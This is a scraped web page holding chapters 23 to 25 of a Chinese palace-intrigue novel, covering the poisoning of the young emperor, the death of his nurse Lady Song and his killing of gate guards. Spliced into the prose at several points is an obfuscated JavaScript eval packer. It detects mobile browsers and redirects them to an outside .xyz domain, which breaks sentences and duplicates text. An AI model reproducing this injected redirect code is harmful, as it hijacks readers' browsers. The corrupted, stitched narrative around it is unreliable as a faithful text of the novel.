明绰的声音如耳语:“你知道多久了?” 萧盈沉默片刻,嗓音还是低哑的,回答她:“三年。” 明绰点了点头,什么都没再问。如果她还要大哭大闹,质问他为何不肯告诉自己,也未免太叫人看轻了。还能是为什么呢? 明绰低下头,把脸贴在了萧盈的掌心。萧盈到底比她大了多少?方千绪一直没机会说得太明白。但要骗过百官,也不会大太多。一岁,两岁,又有多大的分别?三年前,他也不过还是个孩子。 殿外很快又传来了脚步声,太医令几乎是连滚带爬地进来。明绰抬起头,太医令顾不得行礼,告了句罪就来摸明绰的脉。 宋夫人也跟了进来,见状脚下一顿,眼神复杂地看着明绰。明绰与她对视了一眼,抽回了手。 “卞大人这么紧张做什么?”明绰故作无事,“这药皇兄用了这么多年都没事,我喝一碗又能怎么样?” 卞弘脸已皱作一团:“长公主也太贪玩了些,药岂是能乱吃的?” 萧盈亦沉了声音:“东乡,别胡闹。” 明绰不理他,只道:“卞大人开的药没用,东乡只好替皇兄喝了。卞大人还是另开一副有用的来吧!” 卞弘低头行礼,只道:“此药是太后为陛下从西域寻来,珍稀难得,若陛下不用,恐伤了太后的心。” 明绰笑了笑:“什么好药?我竟没有。母后可真是偏心,小心我都偷了喝来!” 卞弘不说话了,垂着眼睛,避着明绰的眼睛。整个寝宫都没人说话,宋夫人和萧盈的眼睛全都在明绰身上。 好一会儿,卞弘才朝明绰行了一礼:“臣为陛下重新开药。” 他匆匆取了笔墨,一张方子写得龙飞凤舞,写完收笔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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卞弘低着头,指尖轻轻捻动银针,另一只手扶着明绰,许久都没有说话。他会这么做,自然是有太后的意思,明绰这样的威胁有几分用,连她自己都不确定。可是长公主毕竟还是长公主,被明绰这样目光灼灼地盯着,卞弘的额上已经见了一层汗。 “这里没别人。”明绰小心地控制着自己的呼吸,那疼痛没有这么尖锐了,只是每一次呼吸的时候,还是有些牵扯着胸口闷痛。说话的时候,每个字都不敢出实了声,听起来便气若游丝,人见犹怜。 “卞大人,东乡求你了。” 卞弘手上剧烈地一颤,然后他沉沉地叹出了一口气。 “太后所用穙齐香,出自西域拂菻国,用的是一种叫‘顶勃梨咃’的树,其树无花无果,但叶有异香,断其枝,有黄汁,状如蜜,香气最馥……” 异香。明绰突然想起来,萧盈一直吃的那味药味道非常特别,甚至缠绕在他身上经年不变。药材各有其味,但煎成汤药就都差不多,明绰从未见过其他什么药的味道能这样特别且长久。 “可那不是穙齐香的味道……” 卞弘继续往下说:“取树汁制成香料,便是清心宁神、止痛解乏的良药。取叶入药,则为损心脉的毒药,煎过之后,味道会变。” 又是一道刺痛,游蛇般从她的胸口滑过去。 卞弘搭着她的脉,又添了一根针。明绰低头看着自己的手腕,感到一阵异样的麻木蔓延在指尖,但她已经分不出是因为那碗药,还是因为这些银针,又或是,仅仅是那几个字。 明绰的嗓音沙哑:“怎么解?” 卞弘神色复杂,一时竟未答。明绰看着他的眼睛,突然忍不住猜测,是不是这些年他也背着太后找过解法。 卞弘见她神色,以为她害怕,便换上了劝慰的口吻:“长公主也不必太担心,此药虽性烈,但不会马上要人性命。长公主用得少,略加休养即可,无需特意解毒。只是以后切不可再碰了……” 当然了,明绰苦笑一声。若是一剂就能夺人性命的剧毒,未免做得太明显。她自是心里有数才敢自己喝下去。 “那像皇兄这样已服用了多年的呢?” 卞弘抬起头,看了明绰一眼。惋惜,羞惭,都缠绕在他眼中。为医者伤人,他心亦难忍。可是这世上多的是医者救不了的人,强权如山,山崩石裂,他只能先保自己的命。 “臣无能。”卞弘轻声道,“陛下……已无药可解。” 23.第 23 章 萧盈原本注定活不到二十岁,史书上记他一笔,大概会说哀帝早孤,短折,天下憾之。寥寥几字,仅此而已。 可是萧盈不傻。照卞弘所说,其实陛下早几年开始就已经很少吃这药。萧盈毕竟年少,兼练骑射,身子已经康健很多了。连卞弘也一度以为,也许他当真能熬过去。 但心脉的损伤不可逆的,即使毒早已排干净,只要萧盈的情绪有太大的起伏,哪怕没有服药也有发作的风险。每发作一次,就是阎王敲一次钟。如今的情形来看,若他当真能做到忌悲忌喜,忌怒忌嗔,忌惊忌疑,或许也能活到四十岁。可是…… 卞弘没有往下说,但明绰已经听明白了。外戚擅权,太后称制,萧盈夹在其间,没有一日不是活在惊疑和恐惧之中。 可是他明明已经做得很好了。长沙王杀到眼前的时候,多少宗亲一把年纪了还是吓得屁滚尿流,萧盈却始终面不改色。明绰以前就觉得皇兄那套“静气”的功夫不同一般,有的时候甚至有些讨人厌,因为她总是不知道皇兄在想什么。她还一直以为萧盈是天性如此。 “卞大人跟皇兄说过吗?”明绰最后问卞弘,“他最多能活到四十岁?” “臣岂敢。” “好。”明绰自己把手腕上的针拔了下来,“一个字都不许说。今日之事,也不许向母后提起。” 卞弘本想制止她的动作,但针已递过来,他也只好双手接过,躬身道:“臣明白。” 太医令坚持要公主卧床休息,但是明绰没听他的。说了亲自替陛下看药,便当真去了膳房。煎那新药的是宋夫人,明绰看着她每一味药都细细检查,连熬药的瓦罐都要用草木灰亲手洗过两遍才肯用,便猜三年前发现这药不对的一定是她。 宋夫人不置可否,去给明绰多端了一张矮凳来,让她坐下。然后又觉得不太放心,找了软垫来垫在明绰身后,让她能半靠在灶台边上,舒服一些。伺候完了,才淡淡地回答了一句:“是陛下自己。” 她抬起头看着明绰:“长公主可还记得,三年前因西域有战乱,太后宫里的穙齐香断过一阵?” 明绰点了点头,她记得这件事。 宋夫人垂下眼:“陛下一心孝顺太后,曾偷偷去民间征过。” 因太后喜欢,西域的各色熏香在建康很流行。天子派人去找,还真找着一些积年的存货。有个富商手头甚至有顶勃梨咃的活苗,听说献进宫里,连钱都不要,殷勤得很。还特意强调,这几棵苗他嫁接过,才在建康养得活。叶虽小些,但毒性去了,比西域的还要好…… 萧盈这才知道,那叶子本来是有毒的。 明绰默然,不知道该说什么好。 宋夫人用火钳子拨了拨火,让炉子烧得更旺些,继续往下说。仅仅是知道叶子有毒,萧盈还想不到自己身上。他是担心太后对穙齐香太过依赖,若有毒性,要伤了身子,便从太医令那里要了各种讲药理的书来看。就是这个举动,引起了太后的警觉。当时替陛下整理医书、借来送往的是太医令的弟子,一个眉毛下撇、一脸苦相的太医署小吏。然后有一天,这个苦相的小吏突然失踪了,萧盈问了一句,太医令只说,他去民巷调查时疫,不幸染上,病殁了。 不久之后,萧盈发现那小吏还遗漏了一本书在含清宫。他从书里找到了一张夹带的书页,上面画了顶勃梨咃的叶子,写了入药的医理,写了那股异香,还写了服用之后对心脉的损伤。 那天萧盈没有服药,但他半夜发作,浑身剧颤,冷汗不止,还要挣扎着在太医令来之前烧掉那页纸。 明绰静静地听着,一句话也没说。宋夫人提到的这些事,她一点儿印象也没有。什么突然消失的太医署小吏,什么夜半的急病,她竟然一丁点儿都没有察觉。那个时候她每日都会来含清宫的,可是萧盈一点儿都没表现出来,他的痛苦没泄露给她,也没泄露给太尉。只有到此时,宋夫人讲到这个份上了,明绰才想起来,就是从那以后,皇兄再也没有问过她有关母后的任何事。 “所以他……”明绰哽了一下,几乎说不成话,“他本来是没有这个病的?” 宋夫人微微侧过脸,掩饰过垂下的一滴泪,点了点头道:“有。” 萧盈第一次犯病是在迁宫后不久,某一日大朝会之前,突然痛得起不来了。但宋夫人很快就发现,萧盈平日都是好好的,唯独要大朝会了才痛,便猜是小孩子被吓着了。太医署好几个太医一同会诊,最后也就说是“肝气不顺”而已。 那时萧盈逢朝会就容易犯病,太后倒也没说什么,若他起不来,就把公主扮起来带去太极殿,就这样相安无事了几年。直到有一天,上阳宫突然送来了那味治心痛的药。 那时候萧盈还小,他说不明白到底是因为心痛才要吃药,还是吃了药才会心痛,更分不清这痛有什么差别,只知道难受便吃药,如此循环往复,生生成了一个药罐子。 “自从三年前知道真相以后,陛下就不用这药了。”宋夫人看着火,声音有些遥远,像在给明绰讲故事,“没多久就让人发觉,陛下的身子好多了。从此上阳宫就把药煎好了送来……” 明绰的手指突然不受控地抽了一下。 宋夫人:“若是寻常宫人送来,我还有机会把药换了,但若是有什么要紧的事情,太后绝对不许陛下去,就会让灵芝来送。” 灵芝是一定会看着陛下把药喝下去的。 宋夫人说到这里停了,药已在罐中“咕噜咕噜”地滚开,一时之间,整个膳房只听得到柴火爆裂的“噼啪”和汤药翻滚的声音,空气里满是浓郁的药味。 “那皇兄今日为何突然犯了病?”明绰问她,“谁这么大的胆子,把他的寝宫糟蹋成那样?” 宋夫人没答这个,好一会儿,突然一撩裙角,在明绰面前跪了下来。明绰一惊,慌忙站起扶她:“姊姊这是……?” “长公主,”宋夫人顺势攀住了她的手臂,仰起脸急切地看着她,“陛下一直把你当成亲妹妹,算是知道了太后……他从来没有一刻迁怒你呀!” 明绰急道:“我知道,你先起来……” “长公主!”宋夫人一把摁住她,眼泪汹涌地在她脸上流淌,她也顾不得擦,“太尉独断却不残忍,他对陛下有舐犊之情,陛下尚可一争——太后!太后才是当真狠辣……” 她一时噎住,突然重重地在地上磕了一个头。明绰下意识往后一退,踢翻了身后的矮凳。窗外突然快速的闪过了几个人影—— “到那一天,”宋夫人压低声音,“求长公主念在这么多年兄妹之情,救救他!” 明绰:“我……” 膳房的门突然被推开,两个城门校尉打扮的人闯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15024873|159969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了进来,见到明绰也在,匆匆地给她行了个礼,便一左一右地把宋夫人从地上拉了起来。 “夫人,”他们的态度还算客气,“可以走了吧?” 明绰下意识地上去拉住宋夫人,戒备地看着他们:“你们做什么?谁让你们来的?你们要带姊姊去哪里?” “长公主莫怪,”左边那个校尉回道,“臣是奉了太尉之命……” “不行!”明绰更紧地拽住了宋夫人的手臂,声音绷得变了调,“你们去回太父,就说是我的意思,我不许!” “长公主……”宋夫人落了泪,低低的唤了她一声,小声安慰道,“没关系,别……” 那两个校尉对视了一眼,显然没把东乡公主的话放在眼里,一人微微一用力,就把宋夫人从明绰手里拉了过去。另一人随即往前一站,用身体拦住明绰,行了一礼,道:“长公主,宋氏伪造虎符,矫诏圣意,本是杀头的罪。太尉念在她抚养陛下有功,已经法外开恩。臣等只是将她遣回原籍,并不想对她怎样,她丈夫已在宫门外等一天了,还望长公主不要让臣等难做……” 明绰哪里肯听,可是那校尉身材高大,往她面前一挡,竟把大半的视线都遮住了。明绰急得左右突围,都越不过他去。说到后来,那校尉没忍住伸手在明绰手臂上拽了一下,明绰突然厉声一叫:“你敢碰我?!” 那校尉赶紧松手,连退两步:“臣不敢!” “你给我让开!” 校尉还是那句话:“臣不敢!” 另一人拽着宋夫人,听声音已经出了膳房。宋夫人并不挣扎,只是急道:“长公主,没事的,你回去吧!” 明绰急得不知如何是好,环视了一圈,突然抄起路边的烧火钳,双手握住,像柄剑似的挥了两下。烧火钳在空中甩出火星子,把那校尉逼得一路退到了门外。 “放手!”明绰擎着烧火钳就要打那个抓人的校尉,“我要去告诉皇兄!你们不怕皇兄治你们的罪吗!” “长公主!”宋夫人一下子扑上来,摁住了她的手,“没事的!太尉已经开恩了,不会把我怎么样!陛下已经歇下了,我们不要再惊动他,好不好?”她放软了声音,从明绰手中抢过了烧火钳,“当啷”一声丢在地上,然后抬起手,替明绰拢了拢鬓角乱掉的头发。她努力想笑一笑,可是嘴角扭曲着,笑不出来,只是叫她,“溦溦,记住姊姊的话。” 明绰愣在原地,眼泪断线珠子似的往下落,看着宋夫人擦了擦脸,整了整刚才扯乱的衣服,主动走回了那两个校尉身边:“走吧。” 她就这样顺着回廊走远了。药罐里的汤药已经滚得扑了出来,浇灭了火。焦糊味从窗户飘出来,明绰喘了两口气,感觉喘不上来气似的,抓住了自己的襟口。 皇兄说过,“不要让他们带走她”。 明绰转过身,一溜烟地跑回了主殿。萧盈睡得不深,明绰只推了他一下,他就醒了,只听了两个字,他就明白发生了什么,一下子从床上翻身起来。 守在寝宫外面的婢女惊讶地看着萧盈只着中衣,披头散发,草草套着鞋就奔了出来:“陛下?!” 明绰用力把她一推:“让开!” 萧盈没有停下来,但他把手伸到了身后,等着明绰握住他的,然后他们手拉着手,飞快地从含清宫漫长的阶梯上跑了下去。 24.第 24 章 宫城分内外两门,承天门居内,司马门居外。 承天门所有值守的校尉都已经被惊动起来,但宫城有宵禁制度,就连皇帝本人在宵禁后出门,也得提前传旨。眼下无诏无令,守门将们跪了一地,就是没有敢开门的。 “你们!”明绰替萧盈气急,“那方才为何放行!” 那守门将还想装傻:“长公主说的是何人?” “你别装傻!”明绰指着他,气得脸都涨红了,“我们叫那么大声让你留人,你还只当没听见!” “臣确实什么都没有听见,”守门将假装想了想,“今夜只有两名城门校尉的弟兄奉命出入,手中符节都验过无误,合规矩的……” “什么规矩?”明绰打断他,“哪门子的规矩教你连陛下都敢拦!” 守门将虽跪在地下,却没有被长公主的声色俱厉吓到的意思:“陛下若有旨意,臣自是不敢拦。” 明绰简直被他气个仰倒。皇帝要下正式的旨意,就得层层地一道一道往下传,还要被记录在册。说白了,就是小皇帝说话没用,这守门将只认太尉。他隶属殿中宿卫,只是分在执金吾卫下面的一个小营,也敢这么明目张胆地在皇帝面前说这种话。 守门将见她气急,又抬头说了一句:“要么,长公主可有太后的符节?” 萧盈终于开了口:“太后的符节,比朕亲临还要大么?” 守门将低下头:“臣不敢。” 萧盈有一会儿没说话,明绰担忧地看了他一眼。他脸上还带着方才狂奔而来的血色,在火把的映照下,显得整个人终于有了几分血色。但是身上太单薄,夜风一吹,唯有披散的长发飘摇。 然后萧盈抬了抬手,示意守门将起身。他站了起来,萧盈又动动手指,示意他上前来。守门将不明所以,但还是上前一步:“陛下……?” 他话音未落,萧盈已抽|出了他腰间的佩剑。明绰只看到寒光一闪,下意识地闭紧了眼睛,但也没有阻止得了利器刺入皮肉的声音,守门将已被萧盈一剑穿胸,剑尖极巧地从胸甲下方挑入,从肩上透出。那守门将睁大了眼睛,一时竟未发出声音,两只手紧紧地攀住了萧盈的肩膀,然后无力地跪下去。萧盈抬起脚,在他肩膀上一蹬,借力把剑拔了出来。一串血随之猛溅出,染了他一身。那人在原地晃了晃,这才“咚”地一声,斜着倒在了地上。 萧盈缓缓地举起了剑,对准了余下的殿中宿卫,血沿着剑尖滴下来。 “开门。” 没人敢说话。所有人都屏住了呼吸,月下静到明绰几乎能听清血从尸体上流出来,浸入土地的声音。然后有个人第一个站了起来,二话不说就去推门。其余人这才反应过来,纷纷将火把扔在地上,上前帮忙。 沉重的木门被推开了一条缝,明绰还愣愣地看着倒在地上的尸体,萧盈已经一把抓住了她的手。明绰感到手心带着粘稠的温热,一低头才发现萧盈握着她的那只手满是鲜血。 “你叫什么名字?”萧盈问那第一个站起来去开门的人。 那守卫立刻低头报上了姓名。 “好,”萧盈点点头,“你就是承天门的守门将了。” 他说完拉着明绰穿过了承天门,明绰险些被他拽得一个趔趄。她腿没有萧盈长,只能一直落在他身后跑。眼前只有萧盈被夜风吹起的长发,飘在脑后,一根一根,缠紧了明绰的心。 皇兄竟然……就这样杀了承天门的守门将。历来杀宫门守将,都只有宫变一个目的。太父会怎么想?更重要的是,母后会怎么想? 可是她来不及思考要怎么办,只有跟着萧盈不停地跑。从承天门到司马门只有一道狭长的甬|道相接,两门皆筑巍峨宫墙,明绰喘息着抬起头,只看见四四方方都是高高的宫墙,他们好像被困在里面,无论怎么狂奔都找不到出口。然后她的视线突然定住了。 “皇兄!”明绰停下来,拉住了萧盈,指着司马门高处的那个人影。宫墙上只有有人值守的地方才悬了灯,那人站在暗处,只有一片薄薄的影子。“那是……?” “阿娘……”明绰听见萧盈突然叹息似的叫了一声,很轻,只有她能听见。下一刻,那片影子就像落叶似的,突然从宫墙的雉堞处翻了下来,完全没入了黑暗中。 在那短短的一瞬间里,没有人意识到发生了什么。那人翻下来的地方就在司马门上面,可他们还来不及跑过去。那一声沉闷的“咚”也像是隔了许久才传到了他们的耳朵里。 明绰只感到手上一沉,她马上把萧盈的一条手臂环到自己的肩膀上,可是萧盈就像一瞬间被抽走了全身的骨头,直往下倒。明绰只好抱住他的腰,用尽了全身的力气撑住他。 “皇兄……” 萧盈没应,手指无意识地蜷缩起来,攥住了明绰的衣角,用力到几乎把细软的布料撕碎。唯独他的心跳是有声音的,每一下都像是战鼓,恨不得锤破他孱弱的胸腔。 “阿娘!”他的声音凄厉地刺破了长夜,如鸣铮,如裂帛,在宫墙之间不断回荡,反而听不清他到底叫了什么。 明绰更紧地抱住他,试图阻止他扑上去:“皇兄!” 两道门的所有人都动了起来,火把在黑暗中流动,远远看去,像池中一尾一尾鱼游向刚抛入水中的饵料。 最先到的校尉已经认出了摔下来的人:“是宋夫人!” “快去叫太医!” “好像没气了……” “别胡说!” “陛下就在此地……” 萧盈挣开明绰,跌跌撞撞地朝司马门奔去。围在尸体旁边的人全都自觉地让开了一条路,萧盈手中的长剑“当啷”一声抛在地上,双膝一软,跪在了尸体前。 明绰也看清了躺在地上的人。那么多的火光悬在她的上方,随着人的移动闪着明明灭灭的光,看起来她好像还是活的,还会眨眼,还会说话。可是那么多的血涌出来,浸透了她身下的一片地。 萧盈很小声地重复着:“不不不不不……”然后轻轻地伸出手,托着她的脖子,想把她扶起来,但宋夫人的脖子却以一个诡异的角度弯折过来。更多的血因此从她的口鼻和眼角流出来,萧盈吓得一松手,听到沉重而怪异的一声响。好像面前的女人只剩下一个皮囊,里面所有的骨头和血肉都已经砸成了泥。 那个去含清宫带人的校尉也围在人群中,突然膝行了两步上前:“陛下!臣不知道夫人会……臣……” 萧盈好像没有听见,他重新把宋夫人的头抱进自己怀里,用脸贴着她的额头,轻轻地左右摇晃。他的脸上一滴眼泪都没有,只有血,分不清是刚才杀人的血,还是宋夫人的血。 “她的丈夫说好了会在门外接人的,可是臣等出来就就就就……”另一个校尉也跪在旁边解释,急得都结巴了,“我们只是出去寻了寻她丈夫,让她在城门等一会儿,谁知她爬上去……” 明绰也跪下来,小心地凑到了萧盈身边,不敢碰他,只能牵住他一片衣角,哭着叫他:“皇兄……” “陛下明鉴!臣绝不敢!”那两个校尉接二连三地磕头,“臣等只是奉了太尉之命……” “杀了他们。”萧盈突然轻声说。 好像没人听见似的,大家都愣在那里。 “杀了他们。”萧盈又说了一遍,“杀了他们!” “陛下饶命!” “是太尉之命,臣等只是——” 但是他们都没有机会把话说完。方才在承天门已经见识过萧盈手刃守门将的人二话不说便提剑上前,干净利落地抹了两个校尉的脖子。 “传朕的旨意,召桓湛入宫。”萧盈继续下令,气若游丝,提不起来什么力气,“你们谁要是想去告诉太尉的,尽可以去。” 一片稀稀拉拉的“不敢”。 萧盈还是抱着宋夫人的尸体,用无所谓的语气又补了一句:“想去告诉太后,也可以。” 这下连“不敢”都没人说了。明绰跪在一边,看见萧盈转过脸来,突然对着她笑了一下。他的眼泪此时才落下,冲开了脸上的血迹,沿着下颌滴落下来,滴在宋夫人已经没有了生气的脸上。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15028780|159969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 明绰以为他要对自己说什么,但他只有沉默,俯身想抱起宋夫人的尸首。可是太重了,他被那重量带得整个人都要摔下去,可是却不愿放开手。有人搭了把手,萧盈站直了身体,避了一下,自己把宋夫人抱稳,然后转身顺着甬|道往回走。鲜血顺着他的脚步流出一条蛇行般的痕迹,蜿蜒着重新伸进了黑夜中。 不到一个时辰,中书令闻讯入宫,但是遇到了全副武装的桓湛。他带了一小队人马,守住了含清宫。上阳宫早已得了信儿,太后下诏,传谢维入宫。但桓湛不服上峰,硬是顶住压力坚守含清宫,一直对峙到天亮,尚书令终于带着百官到了。 太尉治罪,说的是宋氏“伪造虎符、矫传圣意”,但又不过公堂,只是暗中把她赶出宫去。如今萧盈偏不要此事暗过,今日本来并非朝会,但重臣齐聚含清宫,干脆就当朝会开。桓湛出来作证,长沙王之乱时,执金吾卫拿到的就是真虎符,听的就是真圣旨。他的分量不够,还把已经赋闲在家的崔挺也召来。反倒是太尉,还是说病着,来不了。 其实此事没有任何辩的余地,所有人都很清楚到底怎么回事。太尉要拔掉陛下身边的亲信,故意找了一个由头罢了。至于到底是太尉把人逼死的,还是宋夫人自己想不开,如今都已经不重要了。陛下尚在病中,在群臣面前哭得哀哀戚戚,声泪俱下地讲宋氏这么多年如何抚养侍奉,甚至两度哀痛到晕厥,被群臣劝过来,就扯着尚书令的袖子说,“德不配位,朕愿为诏,逊位于谢公!” 闹到这份上,也实在叫人看着怪不落忍的。重臣们也不全是铁石心肠之人,虽不敢跟谢家对抗,但谢郯人都没来,嘀咕两句“太尉实在太过分,眼中半点没有陛下”的胆量还是有的。谢郯当日就上了一封奏疏请罪,但天子也没有得寸进尺,称病不批。最后是太后站出来下诏,以宋氏抚育天子之功,封保太夫人,算是安抚了天子。 明绰原本以为,那两个校尉说宋夫人有丈夫来接是胡诌的,宋夫人一定是在宫外无依无靠,又不愿萧盈为了自己和太尉再起冲突,这才寻了死路。没想到太后说要封赏了,她那丈夫还真来讨赏了。明绰没去瞧,听梁芸姑回来说起,还没说上两句,就先恶狠狠地啐了一口。 据说宋氏的丈夫姓程,因生了一副好皮相,是个远近闻名的浪荡儿。大雍律法是不允许通奸的,他却在同一年内就两次因勾搭良家女子被人告官。打也打了,关也关了,当年宋夫人散尽家财才把他从牢里赎出来,他倒好,转手就把襁褓里的亲儿子卖了,扭头接着吃花酒去。宋夫人进宫这么多年,他从不在意,只当妻子死了,早已另娶再生。如今宋夫人被封了保太夫人,他竟然腆着脸皮来问太后,是不是这么算来,他也是皇帝的老子了。 “凭这句话,太后原该把人拖下去,打死不论!”梁芸姑犹自愤愤,“宋夫人也是可怜,我若是嫁了这样的人,我也宁可从城楼上跳下去!” 明绰皱起眉:“母后没杀他吗?” 梁芸姑脸色突然变了变,有些懊悔说了这样的话。听说那天晚上陛下亲手杀人,东乡公主就在旁边。梁芸姑总觉得,公主也有些不同了。 “不知者无罪。黔首不懂规矩,只是说错一句话,打出去就是,哪能真杀了?”梁芸姑温声道,“传出去,要说太后酷厉,会失民心的。” 明绰闻言便冷笑一声,当年为了一支歌谣杀了多少人?不久前谢维为了抓李姬又杀多少人?到这件事上,太后倒是担心起酷厉的名声了。 不过,太后这一次的态度很微妙。陛下反抗得如此激烈,因是冲着太尉去的,太后却反而不像从前那般往死了压。对于宋夫人,太后好像也有一些怜悯之意。那泼皮丈夫一走,太后就给京兆尹传了旨。 “他原配尚在,就敢另行婚配,已是犯了国法。”梁芸姑安抚道,“京兆尹自会去东长巷查个清楚。” 明绰眉间突然一跳:“东长巷?” “是啊,”梁芸姑也是一叹,“也是没有想到,那宋夫人进宫前原来就住东长巷尾……这不就跟太尉府隔了一道后门嘛!” 25.第 25 章 东长巷程郎一案很快就成了整个建康的谈资,因那程郎不知死活,进宫一趟回来后,在邻里四处声扬他算是皇帝的“保父”——这词都是他自己胡诌出来的。京兆尹还不及治他多娶违礼之罪,先抓去打了一顿板子,好好教老实了,才重新审过。 过堂那天,明绰也着男装出宫去瞧。去得稍迟了一些,衙外已经挤满了来看热闹的百姓。有好事的见这小郎君粉面娥眉,一看就是哪家千金扮的男装,搭话都更热切些。见她身量矮瞧不着,便把堂内审到哪一步都细细讲来。 那程郎先是不肯认同时娶了两位正妻的罪过,声称早已将宋氏休弃。京兆尹便不许他领皇家赐给宋氏的赏,他这便急了,又说后一个妻子只是妾。那女子亦是良家出身,岂肯突然被打做妾,叫来了娘家兄弟在公堂上闹,说当初媒人讲的是“丧妻续弦”,谁知宋氏还活着?便又要告程郎“诈娶”之罪。两头争执不下,京兆尹又传了东长巷的里长和街坊来作证。那程郎声名狼藉,里长往堂下一跪,就把他当年如何把亲儿卖给僧人,原配宋氏又是如何为了将儿子赎回而自卖为奴,最后进宫当了乳母等事一一说来,百姓们听得都是义愤填膺,纷纷叫骂。 此案再无异议,京兆尹判了杖刑,兼不许程郎染指宋氏的封赏,另派人去宋氏的家乡寻亲。至于他如今的妻子,也判了婚事作废,准其携子回娘家,程郎终身不得再娶。 判完,百姓们轰天叫好,明绰被挤在人堆里跟着看程郎被打板子。当众行杖刑本就有羞辱之意,京兆尹还命人扒去了程郎的裤子。百姓们越发兴奋,恨不得踏破门槛。就在明绰感觉自己要被挤得双脚离地的时候,有只手突然从边上伸过来,一把拽住了她的手臂。 明绰转回头,吓了一跳:“桓湛?” “小姐,”桓湛有意换了称呼,“得罪了。” 他揽住了明绰的肩膀,护着她,另一只手用力拨开人群。百姓们让他推来搡去的,回过头来刚要相骂,见他衣饰华丽,腰间还配了剑,也就不敢开口,都识相地让出一条路。 明绰大为不高兴:“我还要看杖刑呢……放开!” 桓湛也不理睬,只顾拽着她猛走。出了衙门又拐进小巷里,明绰挣扎无果,简直像个小鸡仔似的被他提着,正要跟他拼了,却见小巷尽头站了一个瘦长的身影,正等着他们。 桓湛把人放开,行了个礼:“陛下。” 萧盈转过来,抬抬手示意他不必多礼。明绰没想到萧盈会出宫,刚才攒起来的满腔火一下子哑了,愣愣地站在他面前,竟也不知道说什么。 那天在含清宫的“大朝会”,明绰也亲眼看着了,天子的痛哭和晕厥都不是装出来的。群臣散去以后,他的病就发作得更凶,到了晚上,烧得浑身滚烫,却怎么也不肯换下身上的血衣。含清宫里都是生面孔,萧盈简直像发了癔症,除了明绰谁都不许近身。明绰在他床边守了整整两个晚上,逼得太后亲自摆驾含清宫,东乡公主还是不肯回去。最后太后只能下令,把含清宫里这些陌生人全都赶回去,命原先的人回来——好在他们跟宋夫人一样,只是被太尉遣回原籍,并未出什么事。明绰这才放心跟着母亲回了上阳宫。 只是从那以后,谢拂霜就再也没有允许她去过含清宫。 皇兄又瘦了。今年在校场里好不容易练出来的一点肉,一场病,又瘦得皮挂骨。 萧盈皱着眉,浑然不知明绰心里在怜香惜玉些什么东西,只道:“你怎么一个人出的宫?”语气十足像个兄长。 明绰撇撇嘴,觉得他明知故问。还能是什么?当然是她偷偷跑出来的呗! “我说怎么判得这么利索,”明绰也道,“原来是有尊大佛亲自下了凡了。” 想来京兆尹只恐判得不够狠,转头就要丢自己的官帽。 萧盈没说什么,转身走动起来。明绰也不知道他要去哪儿,下意识地跟了上去,萧盈不说,明绰也不好问,只能一直跟着,桓湛就不远不近的缀在他们身后二十步的地方。直到走着走着像是进了民巷,但每户人家看起来都很阔绰,有一大片墙都是一户人家的,一看就是哪个世家望族。明绰打量了半天,终于认出来了,这不正是太尉府的后院么?这头的民巷一大半都是姓谢的住着,越往里走,才是普通人家。路尽头拐个弯,就到东长巷了。 “你可看清那程郎?”萧盈突然问她。 明绰摇了摇头。她真没看清,一方面是因为百姓们人挤人,她个头不够高。另一方面是因为程郎一直跪在那儿面朝堂上,她偶尔探出头来,只看见一个后脑勺。 萧盈放慢步子,突然道:“太后没跟你说吗?他跟朕长得很像。” 完了。明绰心里咯噔一下。 程郎跟皇帝长得像不像,谢拂霜倒是没说,可能她确实没看出来。明绰倒是用不着看,心里就已经知道八|九不离十了。宋夫人跳下来那一刻,萧盈情不自禁地唤了一声“阿娘”。明绰曾经想过,也许只是因为萧盈心里不再认谢拂霜为母,所以宁可将乳母当做生母称呼。可是方千绪留下的那张字条打破了她一切的自欺欺人,这样说起来,程郎把儿子卖给僧人也就讲得通了——虽然那时方千绪已经还俗,但他就住在太尉府,知道东长巷里这有名的泼皮手中缺钱,他随便找个僧人出面,诱人把儿子卖了,不是什么难事。 萧盈又道:“僧人买奴成风,果然已成一患。” 明绰正琢磨怎么安慰他,突然听到这句,一下子没跟上:“啊?” 萧盈:“本朝尊佛,僧人不必纳税,天下寺院广占田地,不加节制。朕记得典农中郎将曾上书,说建康已有两成的耕田都让佛寺占了。百姓失田,没了生计,只好卖身给僧人为奴为婢。刚才在堂上,里长提到程郎把儿子卖给和尚,你看百姓们的反应……想来此事在民间司空见惯,百姓们苦之久矣,也不知道有多少人口已经沦为寺庙的私产了。” 明绰跟上了他的思路:“你……在想这个啊?” 萧盈点了点头:“嗯。” 明绰哑然失笑,好一会儿没说话,静静地和他并肩而行。她虽没见过典农中郎将的上书,但只要一想那些去瓦官寺出家的权贵们是如何生活的,就知道萧盈所言非虚。她也知道,就算典农中郎将上了书也没用。尊佛的权贵太多了,包括谢郯自己。母后没事不会去动那帮秃驴,这实在是一件吃力不讨好的事。 “皇兄。”明绰突然叫他,萧盈转过脸看着她,两人都停住了脚步。 明绰朝着他笑了笑:“你以后一定会是一个明君。” 她不知道方千绪当年是怎么挑的,也许根本没挑,天时地利人和,能找来的也就这么一个男婴。但她突然觉得这一切都已经不重要了。 萧盈好一会儿没说话,半晌,笑了笑:“只怕朕要学齐襄公,做不成这明君。” 